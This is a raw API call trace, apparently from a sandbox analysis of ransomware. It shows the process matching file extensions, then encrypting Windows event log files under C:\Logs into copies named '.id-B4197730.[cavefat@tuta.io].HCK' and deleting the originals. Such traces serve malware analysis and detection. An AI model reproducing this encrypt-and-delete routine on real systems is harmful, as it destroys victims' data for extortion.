[0154.612] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0154.612] lstrlenW (lpString=".docx") returned 5 [0154.612] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0154.613] lstrlenW (lpString=".pdf") returned 4 [0154.613] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0154.613] lstrlenW (lpString=".xls") returned 4 [0154.613] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0154.613] lstrlenW (lpString=".xlsx") returned 5 [0154.613] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0154.613] lstrlenW (lpString=".ppt") returned 4 [0154.613] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0154.613] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0154.613] lstrlenW (lpString=".zip") returned 4 [0154.613] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0154.613] lstrlenW (lpString=".rar") returned 4 [0154.613] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0154.613] lstrlenW (lpString=".bz2") returned 4 [0154.613] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0154.613] lstrlenW (lpString=".7z") returned 3 [0154.613] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0154.613] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0154.613] lstrlenW (lpString=".dbf") returned 4 [0154.613] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0154.613] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0154.613] lstrlenW (lpString=".1cd") returned 4 [0154.613] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0154.613] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0154.613] lstrlenW (lpString=".jpg") returned 4 [0154.613] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0154.613] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0154.613] lstrlenW (lpString="Microsoft-Windows-Bits-Client%4Operational.evtx") returned 47 [0154.613] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0154.613] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=69632) returned 1 [0154.613] CloseHandle (hObject=0x384) returned 1 [0154.613] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 0x20 [0154.614] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0154.614] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0154.614] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.614] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0154.614] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0154.614] GetLastError () returned 0x0 [0154.614] ReadFile (in: hFile=0x384, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x11000, lpOverlapped=0x0) returned 1 [0155.072] WriteFile (in: hFile=0x390, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x11010, lpOverlapped=0x0) returned 1 [0155.080] ReadFile (in: hFile=0x384, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0155.080] WriteFile (in: hFile=0x390, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x132, lpOverlapped=0x0) returned 1 [0155.080] SetEndOfFile (hFile=0x390) returned 1 [0155.080] CloseHandle (hObject=0x390) returned 1 [0155.082] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.082] SetEndOfFile (hFile=0x384) returned 1 [0155.083] CloseHandle (hObject=0x384) returned 1 [0155.083] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0155.083] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 1 [0155.084] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0155.084] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0155.084] lstrlenW (lpString=".doc") returned 4 [0155.084] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0155.084] lstrlenW (lpString=".docx") returned 5 [0155.084] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0155.084] lstrlenW (lpString=".pdf") returned 4 [0155.084] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0155.084] lstrlenW (lpString=".xls") returned 4 [0155.084] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0155.084] lstrlenW (lpString=".xlsx") returned 5 [0155.084] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0155.084] lstrlenW (lpString=".ppt") returned 4 [0155.084] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0155.084] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0155.084] lstrlenW (lpString=".zip") returned 4 [0155.084] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0155.084] lstrlenW (lpString=".rar") returned 4 [0155.084] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0155.084] lstrlenW (lpString=".bz2") returned 4 [0155.084] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0155.084] lstrlenW (lpString=".7z") returned 3 [0155.084] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0155.084] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0155.084] lstrlenW (lpString=".dbf") returned 4 [0155.084] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0155.084] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0155.084] lstrlenW (lpString=".1cd") returned 4 [0155.084] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0155.084] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0155.084] lstrlenW (lpString=".jpg") returned 4 [0155.084] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0155.084] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0155.084] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0155.084] lstrlenW (lpString=".doc") returned 4 [0155.084] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0155.084] lstrlenW (lpString=".docx") returned 5 [0155.084] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0155.084] lstrlenW (lpString=".pdf") returned 4 [0155.084] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0155.084] lstrlenW (lpString=".xls") returned 4 [0155.084] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0155.084] lstrlenW (lpString=".xlsx") returned 5 [0155.084] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0155.085] lstrlenW (lpString=".ppt") returned 4 [0155.085] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0155.085] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0155.085] lstrlenW (lpString=".zip") returned 4 [0155.085] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0155.085] lstrlenW (lpString=".rar") returned 4 [0155.085] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0155.085] lstrlenW (lpString=".bz2") returned 4 [0155.085] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0155.085] lstrlenW (lpString=".7z") returned 3 [0155.085] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0155.085] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0155.085] lstrlenW (lpString=".dbf") returned 4 [0155.085] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0155.085] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0155.085] lstrlenW (lpString=".1cd") returned 4 [0155.085] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0155.085] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0155.085] lstrlenW (lpString=".jpg") returned 4 [0155.085] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0155.085] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0155.085] lstrlenW (lpString="Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 48 [0155.085] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0155.085] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=69632) returned 1 [0155.085] CloseHandle (hObject=0x384) returned 1 [0155.085] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 0x20 [0155.085] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.086] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0155.086] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.086] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.086] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0155.086] GetLastError () returned 0x0 [0155.086] ReadFile (in: hFile=0x384, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x11000, lpOverlapped=0x0) returned 1 [0155.088] WriteFile (in: hFile=0x390, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x11010, lpOverlapped=0x0) returned 1 [0155.090] ReadFile (in: hFile=0x384, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0155.090] WriteFile (in: hFile=0x390, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x134, lpOverlapped=0x0) returned 1 [0155.090] SetEndOfFile (hFile=0x390) returned 1 [0155.090] CloseHandle (hObject=0x390) returned 1 [0155.092] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.092] SetEndOfFile (hFile=0x384) returned 1 [0155.093] CloseHandle (hObject=0x384) returned 1 [0155.093] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0155.094] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 1 [0155.094] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0155.094] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0155.094] lstrlenW (lpString=".doc") returned 4 [0155.094] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0155.094] lstrlenW (lpString=".docx") returned 5 [0155.094] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0155.094] lstrlenW (lpString=".pdf") returned 4 [0155.094] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0155.094] lstrlenW (lpString=".xls") returned 4 [0155.094] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0155.094] lstrlenW (lpString=".xlsx") returned 5 [0155.094] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0155.094] lstrlenW (lpString=".ppt") returned 4 [0155.094] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0155.094] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0155.094] lstrlenW (lpString=".zip") returned 4 [0155.094] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0155.094] lstrlenW (lpString=".rar") returned 4 [0155.094] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0155.094] lstrlenW (lpString=".bz2") returned 4 [0155.094] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0155.094] lstrlenW (lpString=".7z") returned 3 [0155.094] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0155.094] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0155.094] lstrlenW (lpString=".dbf") returned 4 [0155.094] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0155.094] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0155.094] lstrlenW (lpString=".1cd") returned 4 [0155.094] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0155.095] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0155.095] lstrlenW (lpString=".jpg") returned 4 [0155.095] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0155.095] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0155.095] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0155.095] lstrlenW (lpString=".doc") returned 4 [0155.095] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0155.095] lstrlenW (lpString=".docx") returned 5 [0155.095] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0155.095] lstrlenW (lpString=".pdf") returned 4 [0155.095] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0155.095] lstrlenW (lpString=".xls") returned 4 [0155.095] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0155.095] lstrlenW (lpString=".xlsx") returned 5 [0155.095] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0155.095] lstrlenW (lpString=".ppt") returned 4 [0155.095] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0155.095] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0155.095] lstrlenW (lpString=".zip") returned 4 [0155.095] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0155.095] lstrlenW (lpString=".rar") returned 4 [0155.095] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0155.095] lstrlenW (lpString=".bz2") returned 4 [0155.095] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0155.095] lstrlenW (lpString=".7z") returned 3 [0155.095] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0155.095] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0155.095] lstrlenW (lpString=".dbf") returned 4 [0155.095] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0155.095] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0155.095] lstrlenW (lpString=".1cd") returned 4 [0155.095] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0155.095] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0155.095] lstrlenW (lpString=".jpg") returned 4 [0155.095] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0155.095] lstrcmpiW (lpString1=".evtx", lpString2=".HCK") returned -1 [0155.095] lstrlenW (lpString="Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 54 [0155.095] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0155.096] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=69632) returned 1 [0155.096] CloseHandle (hObject=0x384) returned 1 [0155.096] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 0x20 [0155.096] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.096] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0155.096] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.096] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.096] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0155.096] GetLastError () returned 0x0 [0155.097] ReadFile (in: hFile=0x384, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x11000, lpOverlapped=0x0) returned 1 [0155.099] WriteFile (in: hFile=0x390, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x11010, lpOverlapped=0x0) returned 1 [0155.100] ReadFile (in: hFile=0x384, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0155.100] WriteFile (in: hFile=0x390, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x140, lpOverlapped=0x0) returned 1 [0155.100] SetEndOfFile (hFile=0x390) returned 1 [0155.100] CloseHandle (hObject=0x390) returned 1 [0155.102] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0155.102] SetEndOfFile (hFile=0x384) returned 1 [0155.103] CloseHandle (hObject=0x384) returned 1 [0155.103] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0155.104] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 1 [0155.104] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0155.104] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0155.104] lstrlenW (lpString=".doc") returned 4 [0155.104] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0155.104] lstrlenW (lpString=".docx") returned 5 [0155.104] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0155.104] lstrlenW (lpString=".pdf") returned 4 [0155.104] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0155.104] lstrlenW (lpString=".xls") returned 4 [0155.104] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0155.104] lstrlenW (lpString=".xlsx") returned 5 [0155.104] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0155.104] lstrlenW (lpString=".ppt") returned 4 [0155.104] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0155.104] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0155.104] lstrlenW (lpString=".zip") returned 4 [0155.104] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0155.105] lstrlenW (lpString=".rar") returned 4 [0155.105] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0155.105] lstrlenW (lpString=".bz2") returned 4 [0155.105] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0155.105] lstrlenW (lpString=".7z") returned 3 [0155.105] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0155.105] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0155.105] lstrlenW (lpString=".dbf") returned 4 [0155.105] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0155.105] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0155.105] lstrlenW (lpString=".1cd") returned 4 [0155.105] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0155.105] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0155.105] lstrlenW (lpString=".jpg") returned 4 [0155.105] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0155.105] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0155.105] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0155.105] lstrlenW (lpString=".doc") returned 4 [0155.105] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0155.105] lstrlenW (lpString=".docx") returned 5 [0155.105] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0155.105] lstrlenW (lpString=".pdf") returned 4 [0155.105] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0155.105] lstrlenW (lpString=".xls") returned 4 [0155.105] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0155.105] lstrlenW (lpString=".xlsx") returned 5 [0155.105] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0155.105] lstrlenW (lpString=".ppt") returned 4 [0155.105] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0155.105] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0155.105] lstrlenW (lpString=".zip") returned 4 [0155.105] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0155.105] lstrlenW (lpString=".rar") returned 4 [0155.105] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0155.105] lstrlenW (lpString=".bz2") returned 4 [0155.105] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0155.105] lstrlenW (lpString=".7z") returned 3 [0155.105] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0155.105] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0155.105] lstrlenW (lpString=".dbf") returned 4 [0155.105] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0155.105] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0155.105] lstrlenW (lpString=".1cd") returned 4 [0155.105] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0155.105] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 